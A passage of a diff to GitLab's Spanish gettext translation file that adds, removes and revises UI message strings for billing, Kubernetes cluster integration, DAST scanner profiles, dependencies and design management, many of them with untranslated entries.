msgid "BillingPlans|per user"
msgstr "por usuario"
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr "Actualizar"
@@ -3896,14 +4001,17 @@ msgstr "Expandir"
msgid "Boards|View scope"
msgstr "Ver alcance"
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr "Branch"
msgid "Branch %{branchName} was not found in this project's repository."
msgstr "No se encontró la rama %{branchName} en el repositorio de este proyecto."
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
-msgstr "La rama <strong>%{branch_name}</strong> fue creada. Para configurar el auto despliegue, escoge una plantilla Yaml para GitLab CI y envía tus cambios. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgstr ""
msgid "Branch has changed"
msgstr "La rama ha cambiado"
@@ -4097,6 +4205,9 @@ msgstr "Incidencias abiertas"
msgid "Burnup chart"
msgstr "Gráfico de evolución"
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr "Negocio"
@@ -4271,6 +4382,9 @@ msgstr "Canary Deployment es una estrategia de CI, donde solo una pequeña porci
msgid "Cancel"
msgstr "Cancelar"
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr "Cancelar ejecución"
@@ -4304,11 +4418,11 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
-msgstr "No se puede convertir en confidencial esta tarea épica si contiene incidencias que no son confidenciales"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
+msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
-msgstr "No se puede convertir en confidencial esta tarea épica si contiene tareas sub-épicas que no son confidenciales"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
+msgstr ""
msgid "Cannot merge"
msgstr ""
@@ -4328,7 +4442,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4514,11 +4628,8 @@ msgstr "Compruebe la disponibilidad de la función en el plan de espacio de nomb
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr "Compruebe la documentación %{docs_link_start}%{docs_link_end}."
-msgid "Check your .gitlab-ci.yml"
-msgstr "Compruebe su fichero .gitlab-ci.yml"
-
msgid "Check your Docker images for known vulnerabilities."
-msgstr ""
+msgstr "Compruebe sus imágenes de Docker para detectar vulnerabilidades conocidas."
msgid "Checking %{text} availability…"
msgstr "Comprobando disponibilidad de %{text}..."
@@ -4742,14 +4853,14 @@ msgstr "Seleccione el grupo de nivel superior para las importaciones de su repos
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr "Escoja el nivel de visibilidad, habilite/deshabilite las características del proyecto (incidencias, repositorio, wiki, fragmentos de código) y configure los permisos necesarios según sus necesidades."
-msgid "Choose what content you want to see on a group’s overview page"
-msgstr "Elija que contenido desea ver en la página de información general de un grupo"
+msgid "Choose what content you want to see on a group’s overview page."
+msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
msgstr "Elija que repositorios quiere conectar y ejecutar los CI/CD pipelines."
msgid "Choose your framework"
-msgstr ""
+msgstr "Seleccione su marco de trabajo"
msgid "CiStatusLabel|canceled"
msgstr "cancelado"
@@ -4910,9 +5021,15 @@ msgstr "no está disponible: %{reason}"
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr "Limpiar"
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr "Borrar los filtros del gráfico"
@@ -5018,6 +5135,9 @@ msgstr "Cerrado"
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr "Incidencias cerradas"
@@ -5051,20 +5171,26 @@ msgstr "Nivel de clúster"
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
-msgstr "ClusterIntegration | %{custom_domain_start}Más información%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
+msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
-msgstr "Esto eliminará permanentemente los siguientes recursos: <ul> <li>Todas las aplicaciones instaladas y sus recursos relacionados</li> <li>El espacio de nombres <code>gitlab-managed-apps</code></li> <li>Cualquier espacio de nombres de proyecto</li> <li><code> clusterroles </code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
+msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
-msgstr "Se puede utilizar en lugar de un dominio personalizado."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
+msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr "%{appList} se instaló correctamente en su clúster de Kubernetes"
-msgid "ClusterIntegration|%{external_ip}.nip.io"
-msgstr "%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
+msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
msgstr "%{title} desinstalado correctamente."
@@ -5111,14 +5237,17 @@ msgstr "Toda la información que no haya sido guardada en GitLab se eliminará y
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr "Todos los datos serán eliminados y no se podrán restaurar."
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr "Permitir que GitLab administre el espacio de nombres y las cuentas de servicio para este cluster."
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr "Permitir que GitLab administre el espacio de nombres y las cuentas de servicio para este clúster. %{startLink}Más información%{endLink}"
-msgid "ClusterIntegration|Alternatively"
-msgstr "Alternativamente"
+msgid "ClusterIntegration|Alternatively, "
+msgstr ""
msgid "ClusterIntegration|Amazon EKS"
msgstr "Amazon EKS"
@@ -5135,6 +5264,9 @@ msgstr "Se ha producido un error al intentar recuperar los proyectos: %{error}"
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr "Se ha producido un error al intentar obtener los tipos de máquina de las zonas: %{error}"
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr "Se cancelará cualquier pipeline que se encuentre en ejecución."
@@ -5174,15 +5306,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr "Seleccione el nodo de trabajo %{startLink}tipo de instancia %{externalLinkIcon} %{endLink}."
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
-msgstr "Seleccione que aplicaciones instalar en su clúster Kubernetes. Es necesario Helm Tiller para instalar cualquiera de las siguientes aplicaciones."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
+msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr "Seleccione cuál de los entornos de su proyecto utilizará este clúster de Kubernetes."
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr "Limpiar la caché de cluster"
@@ -5207,6 +5336,9 @@ msgstr "Los clusters se utilizan al seleccionar el ancestro más cercano en un Ã
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr "Copiar la URL del API"
@@ -5390,9 +5522,6 @@ msgstr "Helm Tiller"
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr "Helm optimiza la instalación y la administración de aplicaciones de Kubernetes. Tiller se ejecuta dentro de su cluster de Kubernetes y gestiona las versiones de sus charts."
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr "Si está configurando varios clústeres y utiliza Auto DevOps, por favor lea primero, %{help_link_start} y %{help_link_end}."
@@ -5588,8 +5717,8 @@ msgstr "Número de nodos"
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr "El número de nodos debe ser un valor numérico."
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
-msgstr "Por favor, introduzca la información de acceso a su clúster de Kubernetes. Si necesita ayuda, puede leer nuestra %{link_to_help_page} en Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
+msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr "Asegúrese de que su cuenta de Google cumpla con los siguientes requisitos:"
@@ -5807,12 +5936,15 @@ msgstr "Se ha producido un error al desinstalar %{title}"
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr "Se ha producido un error al intentar actualizar el nombre de dominio de Knative."
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
-msgstr "Especificar un dominio le permitirá utilizar las apps Auto Review y Auto Deploy stages para %{auto_devops_start}Auto DevOps%{auto_devops_end}. El dominio debe tener un comodín DNS configurado que coincida con el dominio."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
+msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr "Subredes"
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5852,15 +5984,27 @@ msgstr "Esta cuenta debe tener permisos para crear un clúster de Kubernetes en
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr "Esta opción le permitirá instalar aplicaciones en clústeres RBAC."
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr "Para acceder a su aplicación después del despliegue, apunte un registroDNS comodín al endpoint de Knative."
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr "Para eliminar la integración y sus recursos, escriba %{clusterName} para confirmar:"
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr "Para eliminar la integración, escriba %{clusterName} para confirmar:"
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr "ClusterIntegration | Desinstalar %{appTitle}"
@@ -5885,6 +6029,9 @@ msgstr "Validación del estado de facturación del proyecto"
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr "No hemos podido verificar que uno de sus proyectos en GCP tenga habilitada la facturación. Por favor, inténtalo de nuevo."
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr "Con un clúster de Kubernetes asociado a este proyecto, puede utilizar las aplicaciones de revisión, implementar sus aplicaciones, ejecutar sus pipelines y mucho más, de una manera sencilla."
@@ -5900,9 +6047,6 @@ msgstr "Está a punto de desinstalar %{appTitle} de su cluster."
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr "Primero debe instalar Helm Tiller antes de instalar las aplicaciones que se muestran a continuación"
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr "Debes conceder acceso a los recursos AWS de su organización para poder crear un nuevo clúster EKS. Para garantizar el acceso, cree un rol de provisión utilizando la cuenta y el ID externo que se muestra a continuación y proporciónenos su ARN."
@@ -5933,8 +6077,8 @@ msgstr "Zona"
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr "acceso a Google Kubernetes Engine"
-msgid "ClusterIntegration|documentation"
-msgstr "documentación"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
+msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
msgstr ""
@@ -6051,7 +6195,7 @@ msgid "Collapse milestones"
msgstr "Contraer hitos"
msgid "Collapse replies"
-msgstr ""
+msgstr "Colapsar respuestas"
msgid "Collapse sidebar"
msgstr "Contraer la barra lateral"
@@ -6066,7 +6210,7 @@ msgid "Coming soon"
msgstr "Próximamente"
msgid "Comma-separated, e.g. '1.1.1.1, 2.2.2.0/24'"
-msgstr ""
+msgstr "Separados por comas, ej. '1.1.1.1, 2.2.2.0/24'"
msgid "Command"
msgstr "Comando"
@@ -6096,7 +6240,7 @@ msgid "Comment & unresolve thread"
msgstr "Comentar y dejar el hilo sin resolver"
msgid "Comment '%{label}' position"
-msgstr ""
+msgstr "Comentario '%{label}' en la posición"
msgid "Comment form position"
msgstr ""
@@ -6105,11 +6249,17 @@ msgid "Comment is being updated"
msgstr "El comentario está siendo actualizado"
msgid "Comment on lines %{startLine} to %{endLine}"
-msgstr ""
+msgstr "Comentar en las líneas %{startLine} a %{endLine}"
msgid "Comment/Reply (quoting selected text)"
msgstr "Comentar/Responder (citando el texto seleccionado)"
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr "Comentarios"
@@ -6248,7 +6398,7 @@ msgid "Compliance frameworks"
msgstr ""
msgid "ComplianceDashboard|created by:"
-msgstr ""
+msgstr "Creado por:"
msgid "ComplianceFramework|GDPR"
msgstr "GDPR"
@@ -6310,8 +6460,8 @@ msgstr "Configurar Prometheus"
msgid "Configure Tracing"
msgstr "Configurar seguimiento"
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
-msgstr "Configure un archivo <code>.gitlab-webide.yml</code> en el directorio <code>.gitlab</code> para comenzar a utilizar el Terminal Web. %{helpStart}Aprende más.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
msgstr "Configurar las comprobaciones automáticas de Git y el mantenimiento en los repositorios."
@@ -6763,9 +6913,6 @@ msgstr "Etiquetas e hitos copiados desde %{source_issuable_reference}."
msgid "Copy"
msgstr "Copiar"
-msgid "Copy %{field}"
-msgstr "Copiar %{field}"
-
msgid "Copy %{http_label} clone URL"
msgstr "Copiar la URL %{http_label} de clonado"
@@ -6850,6 +6997,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr "Copiar el token"
@@ -6862,6 +7012,9 @@ msgstr "Copiar valor"
msgid "Could not add admins as members"
msgstr "No se puede agregar administradores como miembros"
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr "No se puede autorizar el nick del chat. Por favor, inténtelo de nuevo"
@@ -6886,15 +7039,21 @@ msgstr "Se ha producido un error al crear el entorno"
msgid "Could not create group"
msgstr "Se ha producido un error al crear el grupo"
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr "Se ha producido un error al crear el proyecto"
-msgid "Could not delete %{design}. Please try again."
-msgstr "No se puede eliminar %{design}. Por favor, inténtelo de nuevo."
+msgid "Could not create wiki page"
+msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr "No es posible eliminar el apodo del chate %{chat_name}."
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr "No se pudo encontrar el diseño."
@@ -6925,6 +7084,9 @@ msgstr "Se ha producido un error al guardar el ID del proyecto"
msgid "Could not save prometheus manual configuration"
msgstr "Se ha producido un error al guardar la configuración manual de Prometheus"
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr "No se pudo actualizar la configuración de LDAP"
@@ -6940,6 +7102,11 @@ msgstr "Cobertura"
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Create"
msgstr "Crear"
@@ -7030,6 +7197,9 @@ msgstr "Crear épica"
msgid "Create file"
msgstr "Crear archivo"
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr "Crear grupo"
@@ -7066,6 +7236,9 @@ msgstr "Crear nuevo tablero"
msgid "Create new branch"
msgstr "Crear una nueva rama"
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr "Crear nuevo directorio"
@@ -7090,6 +7263,9 @@ msgstr "Crear proyecto"
msgid "Create project label"
msgstr "Crear etiqueta de proyecto"
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr "Crear requisito"
@@ -7261,6 +7437,9 @@ msgstr "URL de clon de Git personalizado para HTTP(S)"
msgid "Custom hostname (for private commit emails)"
msgstr "Nombre de host personalizado (para los correos electrónicos privados de los commit)"
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr "Eventos de notificaciones personalizadas"
@@ -7357,6 +7536,15 @@ msgstr "Personalice la configuración de su pipeline, vea el estado de su pipeli
msgid "Customize your pipeline configuration."
msgstr "Personalice la configuración de su pipeline."
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr "Tiempo del ciclo"
@@ -7521,6 +7709,9 @@ msgstr "DAG"
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr "DNS"
@@ -7551,25 +7742,55 @@ msgstr "%{firstProject}, %{rest}, y %{secondProject}"
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr "No se puede agregar %{invalidProjects}. Este panel de control está disponible tanto para proyectos públicos como para proyectos privados en grupos incluidos en el plan Gitlab.com Silver."
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7578,7 +7799,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7590,6 +7820,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7599,12 +7832,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr "Los datos aún se están calculando..."
@@ -7677,7 +7967,7 @@ msgstr "Ramas por defecto y ramas protegidas"
msgid "Default classification label"
msgstr "Etiqueta de clasificación por defecto"
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7755,12 +8045,12 @@ msgstr "Eliminar"
msgid "Delete Comment"
msgstr "Eliminar el comentario"
-msgid "Delete Package"
-msgstr "Eliminar paquete"
-
msgid "Delete Snippet"
msgstr "Eliminar fragmento de código"
+msgid "Delete account"
+msgstr ""
+
msgid "Delete artifacts"
msgstr "Eliminar artefactos"
@@ -7815,6 +8105,9 @@ msgstr "Eliminar la lista de usuarios"
msgid "Delete variable"
msgstr "Eliminar variable"
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr "Se ha producido un error al eliminar el repositorio del proyecto. Por favor, inténtelo de nuevo o póngase en contacto con el administrador."
@@ -7836,15 +8129,24 @@ msgstr "Se ha producido un error al restaurar el repositorio de la wiki. Por fav
msgid "Deleted"
msgstr "Eliminado"
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr "¡Eliminado el nick del chat %{chat_name}!"
-msgid "Deleted in this version"
-msgstr "Eliminado en esta versión"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
+msgstr ""
msgid "Deleting"
msgstr "Eliminando"
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr "Se ha producido un error al eliminar la licencia."
@@ -7854,6 +8156,9 @@ msgstr "Se ha producido un error al eliminar la licencia. No se encontró ningun
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr "Se ha producido un error al eliminar la licencia. No tiene permiso para realizar esta acción."
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr "Eliminación pendiente. Este proyecto se eliminará el %{date}. El repositorio y otros recursos del proyecto son de solo lectura."
@@ -7880,6 +8185,11 @@ msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] "%d vulnerabilidad adicional no mostrada"
msgstr[1] "%d vulnerabilidades adicionales no mostradas"
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] "detectada %d vulnerabilidad"
@@ -7888,6 +8198,9 @@ msgstr[1] "detectadas %d vulnerabilidades"
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr "%{remainingLicensesCount} más"
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr "Todas"
@@ -7900,6 +8213,9 @@ msgstr "Componente"
msgid "Dependencies|Component name"
msgstr "Nombre del componente"
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr "Exportar como JSON"
@@ -7918,6 +8234,9 @@ msgstr "Empaquetador"
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7931,7 +8250,7 @@ msgid "Dependency List"
msgstr "Lista de dependencias"
msgid "Dependency List has no entries"
-msgstr ""
+msgstr "La lista de dependencias no tiene entradas"
msgid "Dependency Proxy"
msgstr "Proxy de dependencias"
@@ -7956,8 +8275,8 @@ msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
msgstr[1] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
@@ -8002,7 +8321,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8236,15 +8555,24 @@ msgstr "%{filename} no ha cambiado."
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr "Agregar un diseño con el mismo nombre de archivo reemplaza el archivo en una nueva versión."
+msgid "DesignManagement|Archive designs"
+msgstr ""
+
+msgid "DesignManagement|Archive selected"
+msgstr ""
+
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
msgstr "¿Está seguro de que desea cancelar los cambios realizados en este comentario?"
